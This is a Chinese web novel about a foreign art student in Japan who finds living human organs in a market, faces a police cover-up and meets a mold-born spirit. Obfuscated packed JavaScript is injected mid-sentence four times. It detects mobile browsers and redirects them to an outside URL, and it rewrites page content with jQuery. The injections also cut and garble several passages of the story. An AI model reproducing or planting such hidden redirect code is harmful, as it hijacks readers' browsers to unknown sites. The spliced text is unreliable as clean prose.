《留学生今天也很忙》 1. 阴影中的悸动 阪大的七月,闷热得像一场没有尽头的桑拿。 午后的阳光斜射进批发市场的铁皮屋顶缝隙,在堆积如山的纸箱和泡沫箱上切割出锋利的光带。空气里混杂着鱼腥、腐烂菜叶和消毒水的刺鼻气味,几个摊主正靠在摊位旁打盹,电动三轮车偶尔“滴滴”地驶过水泥地面。 吴森森从美院出来,本来只是想来市场买些便宜的石膏粉。他穿过水产区时,脚下突然踩到了什么滑腻的东西,整个人踉跄着朝旁边堆满空箱的角落倒去。 就在他伸手扶住一个生锈的铁架时,余光瞥见了那些瓶子。 在两层发黑的泡沫箱后面,整齐地排列着十几个透明的玻璃和塑料容器,像超市货架上的商品。起初他以为是某种特殊的腌制食品——在市场里,什么奇怪的东西都可能见到。 但下一秒,他的呼吸停滞了。 那些容器里盛放着的,是脏器。 鲜红的、暗褐的、粉嫩的脏器,在透过屋顶缝隙的光线照射下,呈现出一种诡异的光泽。最让吴森森头皮发麻的是它们的“鲜活”——没有福尔马林的浑浊,没有血液凝固的暗沉,那些脏器看起来就像刚刚从活人体内取出:肝脏表面湿润反光,心脏的冠状动脉微微搏动似的起伏,肾脏饱满得仿佛下一刻就会开始过滤血液。 他甚至看到了一个完整的肺,在瓶子里缓慢地、微弱地舒张收缩。 “不可能。”他喃喃自语,手在颤抖。 作为东京艺术大学油画专业的学生,人体解剖学是必修课。他记得那个严谨得可怕的老教授,记得解剖图册上每一根血管的名称,记得为了画好人体肌肉,他曾在医学院的标本室里待过整整三个下午。 那些知识此刻像冰冷的针,刺进他的意识。 他强迫自己蹲下来,忍着翻涌的恶心仔细观察。第一个瓶子里的心脏大小、心室比例、冠状动脉的走向——是标准的人类心脏。旁边瓶子里的肝脏,分叶结构清晰,胆囊还附着在下方。再旁边是脾脏、肾脏、胰腺…… 吴森森的视线停留在那个肺上。左肺两叶,右肺三叶,支气管的分布,还有那缓慢的、肉眼几乎难以察觉的起伏。 “还在呼吸……”他听见自己颤抖的声音。 他猛地站起来,环顾四周。市场依旧嘈杂,远处传来鱼贩的叫卖声,一个老妇人推着小车慢吞吞地走过,没有任何人注意到这个阴暗的角落。 那些器官不属于同一个人——至少心脏和肝脏的大小不完全匹配,颜色和质地也有细微差异。但它们的“鲜活”是共同的,就像有人用魔法暂停了它们离开身体的时间。 吴森森掏出手机,手指在报警电话上方悬停了几秒。他是留学生,签证还有一年半,导师正在推荐他去参加一个重要的画展。惹上麻烦意味着什么,他清楚。 但他的目光再次落回那些瓶子上。那个肺,还在微微起伏。 他按下了110。 ———— 警笛声在二十分钟后撕裂了市场的喧嚣。 来了三个警察,两个年轻的巡查和一个中年警部补。吴森森用磕磕绊绊的日语解释,警察们的表情从疑惑转为震惊。 “你确定?”中年警部补死死盯着他。 “我是美院学生,学过人体解剖。”吴森森重复道,“那些器官很新鲜,非常新鲜,就像……” “还活着?”一个年轻警察脱口而出,随即被警部补瞪了一眼。 封锁现场,拍照,取样。警察们戴着手套,小心翼翼地将那些瓶子装进透明的证据袋。吴森森注意到,当光线变化时,瓶中的心脏似乎轻微地收缩了一下。 “请跟我们去署里做详细的笔录。”警部补说,语气不容拒绝。 阪大府警西署的询问室干净得过分。 吴森森坐了两个小时,回答着各种细节问题:什么时候发现的、周围有没有可疑的人、容器的具体排列方式……他画下了现场草图,甚至凭记忆勾勒了几个器官的形态。 “您观察得很仔细。”做笔录的女巡查说,眼神里有些复杂的情绪。 “我是学画画的。”吴森森解释。 离开警署时,警部补亲自送他到大门口,严肃地说:“这件事请暂时不要对外说,我们需要调查。有消息会通知你。” 吴森森点了点头。回程的电车上,他透过车窗看着阪大渐渐亮起的夜景,胃里那团冰冷的不安却越来越沉。 ———— 接下来三天,没有任何消息。 他每天刷着西关地区的新闻网站,搜索“内脏”、“批发市场”、“异常发现”等关键词,一无所获。第四天下午,他忍不住拨通了西署的电话。 “请问是关于天神桥批发市场那个案件的调查进展……” “什么案件?”接电话的警员声音茫然。 吴森森重复了时间、地点和自己的姓名。 “请稍等。”电话那头传来键盘敲击声,然后是长久的沉默,“抱歉,没有查到相关记录。您是不是记错了?” “不可能!我当时做了两个小时的笔录,警部补还……” “抱歉,我们这里真的没有记录。如果您坚持,可以亲自来署里查询。”对方礼貌而冷淡地挂断了电话。 吴森森站在租住公寓的窗前,看着外面淅淅沥沥的雨,一股寒意从脊背爬上来。他换了衣服,直接赶往西署。 接待他的不是之前的警部补,而是一个陌生的中年警官。在听完吴森森的描述后,警官离开了一会儿,回来时手里拿着一个文件夹。 “吴桑,我们查了一下。”警官翻开文件夹,语气平静得像在解释交通规则,“您说的那个情况,我们已经处理了。那是附近‘圣玛丽安娜医院’的医疗废弃物,负责处理的员工为了节省处理费,私自丢弃在了市场角落。我们已经对相关人员和医院进行了处罚。” “医疗废弃物?”吴森森的声音不自觉地提高,“那些器官看起来是活的!而且很多是完整的,健康的器官,这怎么可能是医疗废弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016474|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物?” 警官脸上的笑容淡了一些:“吴桑,您是外国人,可能不了解杰潘的医疗系统。有时候手术中切除的病变器官,为了教学或研究需要,会暂时保存。那位员工不懂规程,处理不当,仅此而已。” “可是那些器官在动!肺在呼吸,心脏……” “那是您的错觉。”警官打断他,合上文件夹,“在那种昏暗的环境下,人容易产生视觉误差。我们已经请专家鉴定过,那些只是普通的病理标本。” 吴森森盯着警官的眼睛:“那为什么我之前的报案记录没有了?为什么接电话的人说查不到?” 警官站起身,走到吴森森面前,压低声音:“吴桑,您是留学生吧?签证还有多久?听说您在学校表现不错,导师是很有名的画家。有些事,追究太多对谁都没有好处。这件事已经处理完了,请您不要到处乱说,以免造成不必要的恐慌。” 那语气里的警告清晰得刺耳。 “如果我说出去呢?”吴森森听见自己问。 警官沉默了几秒,从抽屉里拿出一张名片,不是警察的,而是一个律师的。 “如果您坚持要追究,可以咨询这位律师。但我必须提醒您——”他顿了顿,“您当时在现场,没有戴手套,碰触了那些容器。按照程序,如果这真的是一起案件,您是第一发现人,也是潜在的嫌疑人。调查、询问、限制出境……这些流程会非常漫长。而如果是医疗废弃物非法丢弃,您就只是一个热心的举报者。您明白吗?” 吴森森接过那张名片。冰冷的卡纸边缘割着他的指尖。 “我明白了。”他说。 ———— 走出警署时,雨下得更大了。吴森森没有打伞,任由雨水淋湿头发和外套。电车窗外,阪大的霓虹灯在雨幕中晕开成模糊的光团。 他想起那些瓶子里的器官。心脏的搏动,肺叶的舒张,肝脏表面湿润的反光。那不是标本,不是错觉。 那些器官是活的,在某个阴暗的角落里,在没有身体的容器里,以某种不可能的方式继续活着。 而这座城市,连同它光鲜的表象和高效的体制,都在假装这件事从未发生。 雨夜里,吴森森摸出手机,打开相册。在做笔录前,他趁警察不注意,偷偷拍了一张照片——那个在瓶子里微微起伏的肺。 屏幕的光照亮了他湿漉漉的脸。他盯着照片看了很久,然后打开通讯录,找到一个名字:浅野教授,他在医学院解剖学讲座上认识的退休法医学者。 光标在发送键上悬停了十秒,最终按下。 照片传送出去,连同他打下的两行字: “浅野教授,抱歉深夜打扰。我在市场发现了这些,警方说是医疗废弃物。以您的专业看,这可能是什么?” 发送成功。 窗外的雨更大了,电车驶入黑暗的隧道,玻璃窗上倒映出他自己苍白的面孔。而在手机屏幕微弱的光里,那张照片上的肺叶,似乎又完成了一次无声的呼吸。 2. 桐岛凛 雨后的京东,湿气在夜幕下蒸腾。吴森森推开那家门脸狭窄的居酒屋,喧嚣的热浪和烤物的香气扑面而来。 “是吴桑吗?这边。” 一个清亮略带疏离感的声音从吧台角落响起。 吴森森循声望去,看见桐岛凛——穿着浅灰色亚麻衬衫,外搭卡其色工装马甲,正用筷子慢条斯理地夹着一串烤鸡颈肉。 吴森森迟疑地走过去,在对方示意的吧台凳上坐下。凳子很高,他有些局促。 “您是……浅野教授介绍的?” “桐岛凛。”年轻人言简意赅,放下筷子,用纸巾擦了擦手,才伸过来。握手力度适中,带着一丝凉意。“喝点什么?我推荐这里的highball,便宜,清爽,酒精度不高,适合聊不太愉快的事情。” 吴森森点了乌龙茶。 桐岛凛也没劝,抬手示意。 正在烤架后忙碌的店长——一位围着深蓝色头巾、后脑勺有根小辫的中年男人——点了点头,很快将一杯乌龙茶和一杯新调的highball放在他们面前。 桐岛凛从帆布挎包里拿出平板电脑,点开那张肺的照片,推到吴森森面前。 昏黄灯光下,那器官的轮廓显得格外诡异。 “外公半夜把我吵醒,就为了这个。”他说,镜片后的目光锁定吴森森,“他说,‘小凛,这东西不对劲’。所以,我来了。” “桐岛桑……您相信我吗?警察他们说只是医疗废弃物……” 桐岛凛端起酒杯抿了一口,视线仍停留在平板上。“警察的说法,是‘最不引起恐慌’的标准答案。但你的描述和这张照片……”他放大图片局部,指着肺门结构,“指向更麻烦的逻辑链。这已经不是保存,是某种维持。” “维持什么?” “维持细胞活性,维持基本代谢。”桐岛凛看向吴森森,声音平稳,“需要复杂设备、特殊灌注液。像把跳动的心脏扔进垃圾桶一样毫无道理,除非……” 烤架后传来“滋啦”一声,油脂滴在炭火上。店长手法娴熟地翻动着鸡肉串,似乎对这边的对话毫无兴趣。 “除非什么?” “除非丢弃者不在乎这些材料的存活价值,或者……”桐岛凛推了推眼镜,“只是在处理一批实验副产品。” 吴森森感到背脊发凉。“所以警察的反应……” “两种可能。”桐岛凛压低声音,周围的嘈杂成了掩护,“一是线索指向他们不敢碰的领域,用‘医疗废弃物’结案最省事。二是报案被特殊部门截获,地方警察只是奉命封口。” 他顿了顿:“你描述鲜活和运动了吗?” “很详细,还画了图。” “那就更不可能是普通丢弃了。你的描述会触发任何有基本法医常识警察的警觉。但他们选择了掩盖。”桐岛凛若有所思,“大阪那边……水很深。” “那我该怎么办?就这么算了?” 桐岛凛将杯中酒一饮而尽,向店长做了个再来一杯的手势。“你可以算了,这很明智。你的签证,你的安全。”他直视吴森森,“但如果不想算了……” 他从包里拿出一个像老式MP3的黑色设备和一个密封证物袋,里面装着棉签。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016475|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是我私人改造的微型采样器。如果瓶子完全密封,内部可能维持特殊气体环境。袋子是无菌拭子。”他将东西推过来,“现场可能还留有痕迹。警察的勘查如果被草草了事,可能会漏掉关键物证。” “你要我……回去现场采集证据?” “不是我‘要’,是你‘可以’选择。”桐岛凛纠正道,目光锐利,“我是顾问,没有直接调查权,但我有我的方法。外公很少这么紧张,这本身就很说明问题。” 店长将新的highball轻轻放在桐岛凛面前,又给吴森森的茶杯续了热水,全程一言不发,眼神平静。 桐岛凛留下只有邮箱和加密通讯软件ID的卡片。“注意安全,不要被人发现。做完之后,联系我。” “桐岛桑,你为什么要帮我?只是因为浅野教授的嘱托吗?” 桐岛凛在门口停下,暖帘在他身后晃动。他没有回头。 “我研究死亡,也研究生命的迹象。那些被装在瓶子里、仿佛还在运转的器官,卡在一种令人不安的状态。这违背了我所知的规律。而所有违背规律的事情背后,要么藏着惊人的谬误,要么藏着更惊人的真相。我个人,很讨厌前一种可能性。” 他掀开暖帘,瘦高的身影融入潮湿的夜色。 吴森森握着冰冷的采样器,看向店长。店长正用白布仔细擦拭着台面,抬眼与他对视了一瞬,那双眼睛里没有好奇,只有一种深潭般的平静,然后他微微点了点头,继续低头工作。 杯中的乌龙茶已凉透。 吴森森握紧采样器,金属外壳的棱角硌着掌心。 3. 天花板上的阴影 吴森森躺在狭小的留学生公寓里,盯着天花板上经年累月渗水留下的黄渍,还好在租房前吴森森就拍照发给房东(也可能是中介),这样一来不至于退租时候提灯定损。 现在他脑海中反复回放着与桐岛凛在居酒屋的对话,以及那个被他放在书桌上的黑色微型采样器。 采样器冰冷、沉默,像个来自未知科技领域的信物。吴森森很难想象,一个过去四五天、甚至更久的露天市场角落,还能留下什么可供分析的“空气信息”。 风、雨、人来人往、各种货物混杂的气味……恐怕连当天最浓烈的鱼腥味都早已散去。那些棉签又能擦拭到什么?灰尘?雨水?腐烂菜叶的汁液?桐岛凛指望用这些找到“草蛇灰线”?他到底是过分自信,还是……他掌握着某种吴森森无法理解的、远超常规法医鉴识的技术手段? 但浅野教授信任他。那位严谨到近乎古板的老法医,不会把自己的担忧和一个陌生留学生的安危,轻易托付给不靠谱的人。 桐岛凛话语里那种冷静到近乎剥离情感的剖析,对专业细节的精准把握,以及最后那句“讨厌惊人的谬误”,都透露出一种异于常人的执着。他不是热血警察,更像是一个被“异常现象”本身所吸引的、好奇心极强的解谜者。 “回去现场看一看……”吴森森喃喃自语。风险是显而易见的。警方已经警告过他,虽然借口拙劣,但态度明确。那个丢弃内脏的人或组织是否还在暗中观察?市场里是否有他们的眼线? 然而,另一个声音在心底响起,微弱却固执:就像嫌疑人为什么会选择那个地方一样。 那个阴暗、杂乱、充满废弃物气味的角落。人流量大,便于隐蔽和丢弃;管理相对松散;每天产生大量垃圾,混入其中不易被察觉。这是一个“合理”的丢弃点。但选择那里的人,是否也会默认,不会有人在意一个普通大学生去那里“买东西”? 这成了吴森森最终说服自己的理由。他不是刑警,不是侦探,只是一个可能贪便宜去买打折石膏粉或颜料的美院学生。他最大的掩护,恰恰是他的“普通”和“合理”。 三天后的下午,天气阴沉,乌云低垂,似乎酝酿着一场雨。这种天气,市场的人会比往常少一些,光线也更暗,正合他意。 吴森森换上最不起眼的深灰色连帽衫和旧牛仔裤,背着一个半旧的帆布画具包——里面装着速写本、几支炭笔,以及用旧报纸仔细包裹、藏在夹层里的采样器和证物袋。他努力让自己看起来就像任何一个为作业素材或廉价画材而来美术生。 电车摇摇晃晃,载着他再次驶向阪大市的天神桥批发市场。车窗外的风景倒流,他的心跳却逐渐加速。手心有些出汗,他用力握了握画具包的背带。 市场依旧喧嚣、杂乱,充满了生命力与腐败气息交织的味道。吴森森低着头,尽量避开熟悉的路径,绕了一个大圈,从水产区的另一头慢慢接近那个角落。 他的目光扫过一个个摊位,留意着是否有面孔在重复出现,是否有视线在他身上过多停留。一切似乎如常,摊主们忙于生意或打盹,采购者行色匆匆。 那个堆满废弃泡沫箱和杂物的角落,就在前方不远处。看起来和他报警那天没什么两样,甚至好像还多了几个破纸箱。警察显然没有留下任何警戒标识,仿佛那里从未发生过什么不寻常的事情。 吴森森深吸一口气,装作在寻找合适的写生角度或丢弃的画材,慢慢踱步过去。他先在不远处一个卖干货的摊位前驻足,假装看了一会儿干香菇,用眼角余光观察四周。确认没人特别注意他后,他才状似无意地走到那个阴暗角落的边缘。 心脏在胸腔里剧烈跳动,耳膜能听到血液流动的嗡嗡声。他蹲下身,假装在翻捡一个被丢弃的、略有破损的陶罐,同时迅速扫视地面。 几天过去,雨水和尘土已经掩盖了许多痕迹。但他还是敏锐地注意到,在几个泡沫箱的底部缝隙,靠近墙根最潮湿泥泞的地方,有一小片区域的泥土颜色略深,质地似乎也更粘腻一些,不像普通的雨水或生活污水。而且,空气中除了鱼腥和腐烂味,似乎还残留着一丝极其微弱、难以形容的、类似消毒水但又混合了某种甜腥的化学气味,与他记忆中那天闻到的、瓶子附近的气息隐隐呼应。 他不动声色地挪动身体,用背挡住可能来自外侧的视线,快速从画具包夹层取出采样器。按照桐岛凛说的,他先按下了红色按钮。仪器几乎无声地震动了一下,一个几乎看不见的细小进气孔似乎微微吸气。他将仪器小心地靠近那片颜色异常的泥土上方,以及几个可能放过瓶子的、相对平整的水泥地面凹陷处。 接着,他取出无菌棉签,用极快的速度,在那片湿粘的泥土表面、一个泡沫箱边缘疑似有液体溅射痕迹的暗色斑点上,以及墙根处一片不起眼的、颜色发白的结晶物上,分别轻轻擦拭,然后迅速将棉签头折断放入不同的证物袋,密封好。 整个过程不到两分钟,但他的后背已经被冷汗浸湿。每一秒都仿佛被拉长,市场里任何一点异常的响动都让他心惊肉跳。 做完这一切,他迅速将采样器关闭,和证物袋一起塞回画具包最深处,然后拿起那个破陶罐,站起身,拍了拍手上的灰,尽量自然地离开。 直到走出市场,混入阪大街头熙攘的人流,被湿冷的空气一激,吴森森才感到一阵虚脱般的腿软。他靠在路边一根电线杆上,大口喘气,冰冷的空气灌入肺中,却压不下心头那股寒意和后怕。 他摸了摸画具包,里面装着从那个诡异角落“偷”回来的、不知是否有用的“痕迹”。他不知道桐岛凛能用这些找到什么,也不知道这会不会给自己带来更大的麻烦。 乌云终于承受不住重量,豆大的雨点开始砸落,很快连成雨幕。街上的行人纷纷跑起来找地方避雨。吴森森没有动,任由雨水冲刷着脸庞,试图浇熄心中翻腾的不安与疑惑。 他抬起头,望向阪大阴沉的天空。雨幕之后,那些“鲜活”的器官,那些沉默的警告,以及桐岛凛镜片后冷静探究的目光,仿佛交织成一张无形的大网,正缓缓笼罩下来。 他掏出手机,屏幕被雨水打湿。点开那个加密通讯软件,找到桐岛凛的ID,发出了一条简短的消息: “东西拿到了。在阪大,下雨。” 几秒钟后,回复跳出,依旧简洁: “京东,老地方。明天。” 吴森森收起手机,抹了把脸上的雨水,转身汇入匆忙避雨的人流。他知道,从这一刻起,他已经不再是那个偶然发现恐怖的普通留学生了。他主动踏入了那片被掩盖的阴影,手里握着从阴影边缘采集到的、或许能揭示真相的微弱火星。而明天,在京东那家喧嚣的居酒屋,他将把这微弱的火星,交给那个可能知道如何让它燃烧起来的人。 ———— 估计是考虑到学生的处境,桐岛凛重新选的新地点,位于阪大市浪速区一条背巷深处,招牌是手写的“烧鸟·晓”,字迹歪斜,透着股满不在乎的随性。店铺极小,只有围着开放式烤台的七八个座位。 店主是个扎着小辫、眼神慵懒的年轻男人,看到桐岛凛只是抬了抬下巴,算是打过招呼,全程专注于手中滋滋冒油的鸡皮和葱段。 这次会面比上次更简短。桐岛凛接过吴森森小心翼翼递来的采样器和几个密封袋,借着烤台昏暗的光线仔细检查了一下,点点头,没多问过程,只说了句“辛苦”。他没有解释会如何分析这些“痕迹”,也没有给出任何时间表,只是用那双镜片后平静无波的眼睛看着吴森森,仿佛在评估他的状态。 “等有消息,我会告诉你。” 他重复了之前的承诺,语气没有太多波澜,似乎这只是一次普通的实验样品交接。他付了两人份的烧鸟和饮料钱——吴森森注意到他付的是现金,厚厚一叠,抽得很随意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016476|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临走时,桐岛凛像是才想起什么,补充道:“最近,注意一下周围。不是指明显的跟踪,是一些……不协调的细节。你的住处,你的日常路线,常去的地方。如果有让你觉得‘不对劲’但又说不上来具体是什么的事,可以记下来。” 这话说得含糊,却让吴森森离开烧鸟店时,后背莫名有些发凉。夜风吹过小巷,卷起地上的落叶和纸屑,发出沙沙的声响,听起来都像是隐秘的脚步声。 回到那间位于老旧公寓楼四层角落的出租屋,不安感非但没有消散,反而变本加厉。 首先是声音。夜里,天花板上传来一种难以形容的、粘稠的滴答声,比之前雨水直接漏下的声音更沉闷,更缓慢,仿佛某种浓稠的液体正在楼板缝隙间积蓄、垂落。他打开灯,仰头看那片日益扩大的水渍,颜色似乎比白天看到的更深、更污浊,边缘晕开的痕迹像是干涸的、不祥的污迹。 接着是气味。一股极其微弱、时有时无的甜腥气,混合着类似铁锈和潮湿泥土的味道,丝丝缕缕地钻进鼻腔。这味道有些熟悉,让他瞬间联想到市场角落里那片颜色异常的泥土,以及那些“鲜活”器官可能散发出的、被玻璃瓶隔绝后的残余气息。他检查了房间每个角落,甚至打开窗户通风,气味依旧徘徊不散,仿佛是从墙壁、从天花板内部渗透出来的。 然后是视觉。在台灯昏暗的光线下,天花板上那片水渍的边缘,似乎蔓延出一些黑色的、蛛网般的细丝。他起初以为是霉斑,但仔细看,那些“细丝”的走向似乎有些过于“有组织”,不像自然菌丝那样散乱,反而隐隐构成了某种难以言喻的、让人看了心里发毛的纹路。盯得久了,眼睛会发花,感觉那些纹路在微微蠕动。他用力眨眼,又觉得是光影和自己过度紧张产生的错觉。 “是霉菌……一定是特别严重的霉菌,加上我神经太紧张了。”吴森森试图说服自己。房东是个典型的、对老旧房产疏于打理的投资客,之前来看漏水情况时,只是敷衍地看了看,嘟囔着“老房子都这样,等雨季过了再说”,甚至半开玩笑地说:“反正合约里没写,退租的时候就算屋顶塌了,只要不是你故意砸的,都不用你赔,我自己处理。” 当时吴森森只觉得房东不负责任,现在想起这话,却莫名感到一丝荒诞的“安慰”——至少,他不必为这日益诡异的屋顶背负经济责任。 但身体的感受是最直接的。他总觉得浑身不得劲。不是疼痛,而是一种说不清的滞涩感,皮肤偶尔会莫名发痒,像有看不见的细丝轻轻拂过;白天画画时,手腕和手指的灵活性似乎下降了一些,线条偶尔会失控;夜里睡眠变得很浅,多梦,梦境混乱,常常梦见自己被困在狭窄的、湿漉漉的管道里,周围是缓慢搏动的、巨大的阴影,还有那种甜腥的气味。 他开始不由自主地留意桐岛凛所说的“不协调的细节”。 公寓楼下那个总是笑眯眯的管理员大爷,这几天看他的眼神似乎多了点探究,问他“最近是不是很晚回来”;常去的便利店,收银员找零时,手指似乎不经意地擦过他的手心,触感冰凉;甚至有一次深夜从画室回来,感觉巷口阴影里似乎站着一个人,但当他警惕地看过去,又空无一物,只有一只黑猫悄无声息地溜走。 是压力太大了吗?是那天的发现带来的心理阴影在持续发酵?还是……真的有什么东西,因为他的“窥探”,而悄无声息地缠上了他?那些“鲜活”的器官,那些被掩盖的秘密,是否不仅仅存在于市场的角落和冰冷的瓶子里,而是如同某种看不见的孢子或气息,已经随着他的那次“采样”,悄然侵入了他的生活空间,甚至……他的身体感知? 吴森森站在房间中央,再次抬头,看向天花板上那片日益扩大、纹路渐生的黑色污渍。滴答……粘稠的滴答声在寂静的夜里格外清晰。甜腥气若有若无。 他想起桐岛凛平静无波的眼睛,想起那些被装瓶的、似乎还在“工作”的脏器。 4. 湿怨影 今天天气晴朗,阳光穿透杰潘关西地区常有的阴霾。吴森森前往画室,比起那间六帖不到、天花板日益诡异的公寓,画室简直是天堂。 这里原是老旧仓库,被一位画材店老板低价长租,改造后以低廉租金提供给手头拮据的艺术生。 空气中弥漫着松节油、亚麻仁油和旧木头混合的气味。 吴森森走向自己靠窗的角落。他的邻居,那位常驻的年轻男人已经在。今天他上身是沾了钴蓝色颜料的白色工字背心,下身是洗白的宽松亚麻长裤,正对着画布沉思。及肩黑发束在脑后,几缕发丝垂落颊边。 这位画友叫诹访隼人,家族世代是诹访某古老神社的祠官,但他痴迷绘画,为此差点和家族决裂。他曾笑着说:“还好有我弟弟,那小子对摆弄神乐铃和念祝词比我在行多了,家业就拜托他啦。” 因为他背上有半片华丽浓烈的纹身,加上洒脱不羁的艺术家气质,大家叫他“荒”。吴森森觉得这绰号贴切,便一直这么称呼。 荒的基本功扎实,擅长运用强烈对比色和充满动感的线条。只要聊起绘画技巧或艺术史,他总能接上话,见解独到。 今天吴森森照例打招呼,开始摆弄画具,准备继续那幅进展不顺的静物画。阳光落在画布上,却驱不散他心头的阴翳。调色时总觉得颜色灰暗浑浊。 旁边荒放下画笔,转过头认真打量他几眼,目光带着奇特的穿透力。 “吴,”荒忽然开口,声音比平时低沉,“你最近是不是遇到了什么麻烦事?或者,去了什么不干净的地方?” 吴森森心里猛地一咯噔,强笑道:“怎么突然这么问?画不出来算麻烦事吗?” 荒没有笑,指了指吴森森的颈侧:“气色很差,这里,还有眼下的阴影,颜色都不对。”他顿了顿,“你的运势,最近看起来不太妙。印堂发暗,整个人被一层很淡的、让人不舒服的翳罩着。虽然我不信家里那些老古董的大部分说法,但有些东西,看得多了,难免会有点感觉。” 他一边说,一边用沾着钛白颜料的手指在空中虚划了几下。 “要不要,”荒很随意地建议,“去个正经寺庙求根签,或者请个御守?诹访大社太远,这附近住吉大社或者四天王寺都可以,心诚点。” 他身体微微前倾,声音压得更低:“还有,如果可以的话,这两天最好别回你住的地方过夜。找个朋友挤挤,或者去漫画咖啡馆、胶囊旅馆凑合一下。” 吴森森心脏狂跳。他想起公寓里诡异的霉斑、甜腥的气味、粘稠的滴答声。荒是怎么看出来的? “为什么?”吴森森听到自己干涩的声音。 荒耸了耸肩,重新拿起画笔:“谁知道呢。也许是那房子年头太老,积了太多不好的东西,你正好时运低,撞上了。总之,听我的,避一避没坏处。阳光好的时候还好,入了夜,有些东西就活跃了。” 吴森森点了点头,喉咙发紧。结合自己这几天的感受,以及桐岛凛那句注意不协调细节的警告,荒的话此刻有了千斤重。 整整一下午,吴森森都无法集中精神画画。他总觉得荒偶尔瞥向他的目光里带着一丝忧虑。而他自己,仿佛能感觉到那层所谓的翳,正若有若无地笼罩着自己。 傍晚来临,吴森森收拾画具的动作比平时慢了许多。离开画室前,他忍不住又看向荒。 荒正背对着他,在画布上涂抹浓烈的朱红色。背心边缘,那半片华丽的纹身若隐若现。他挥了挥沾满颜料的手,算是道别。 吴森森走出画室,踏入暮色渐浓的街道。 回那个渗着不祥的公寓,还是听从荒的建议? 他摸出手机。通讯录里能请求借宿的人寥寥无几。他想起桐岛凛,但对方只留下了加密联系方式。 夜晚的凉风吹来,他忍不住打了个寒颤。 ———— 高宏亮的春枝猪排饭店里,灯火通明,油炸食物的香气充满温暖踏实的人间烟火气。 吴森森捧着热腾腾的乌龙茶,手指还在微微颤抖。胃里被扎实的咖喱猪排饭填充后,战栗总算平息了一些。他看向柜台后擦拭刀具的高宏亮。 这位救命恩人依旧随性不羁。凌乱的小辫子,青色胡渣,深蓝色作务衣袖子挽到手肘,露出线条分明的小臂。 “怎么样,吴小弟,我炸的猪排,水准一流吧?”高宏亮头也不抬地问,“猪肉是今早从相熟的农家那里拿的,现切现炸。不是我吹,这条街上,论猪排饭,我春枝认第二,没人敢认第一。” “非常好吃。”吴森森诚心诚意地说。在经历了生死逃亡后,这简直是双重慰藉。 “是吧!”高宏亮很满意,放下擦得锃亮的菜刀——正是刚才那把飞出去钉住黑影的出刃包丁,走到吴森森对面坐下,“吃饱喝足,压压惊。那玩意儿,叫湿怨影,名字挺贴切吧?” 吴森森点点头,心有余悸地问:“高宏先生,您说它是长期潮湿发霉,还有很多人聚集产生怨气才会形成?” “没错。”高宏亮啜了口茶,“那种老旧的、管理不善的公寓楼,墙壁天花板常年渗水,霉菌滋生。住在那里的,多是手头不宽裕的留学生、打工者。每天带着疲惫、压力、焦虑回到那个小空间,日复一日,那些无形的负面情绪,就会和潮湿霉烂的环境发酵在一起。” “时间久了,量变产生质变,再加上一些偶然的契机,就容易催生出这种玩意儿。” “它危险吗?” “危险度看对谁。”高宏亮挠了挠下巴的胡渣,“对普通人,尤其是本身就精神状态不稳定、运势低迷的人,很危险。它会像慢性毒药一样,慢慢渗透你的精神,放大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个提议让吴森森心动。经历了今晚的恐怖,他无论如何也不想再回那个地方了。而且,在高宏亮身边,有种莫名的安全感。 “这会不会太打扰您了?” “打扰什么?”高宏亮满不在乎,“多双筷子的事。再说了,你住这儿,万一再有什么不长眼的东西闻着味找来,我也好就近处理。就这么定了!” 夜深了,吴森森躺在春枝猪排饭店二楼客房的榻榻米上,被褥干燥柔软,散发着阳光晒过的味道。楼下隐约传来高宏亮收拾店铺的声音。 虽然身体疲惫,但吴森森的心却久久不能平静。今天发生的一切都像一场荒诞又真实的梦。 天花板很干净。窗外是安静的夜色。 他闭上眼睛,脑海里浮现出桐岛凛平静无波的眼睛,以及高宏亮擦拭刀具时手臂的肌肉线条。 明天,桐岛凛那边会有消息吗? 5. 检测结果 “醒了?”桐岛凛放下茶杯,镜片后的目光扫过来,“高宏说你昨晚中奖了。” 吴森森苦笑点头,把湿怨影和高宏解救的事说了一遍。 桐岛凛安静听完,手指摩挲着茶杯边缘。 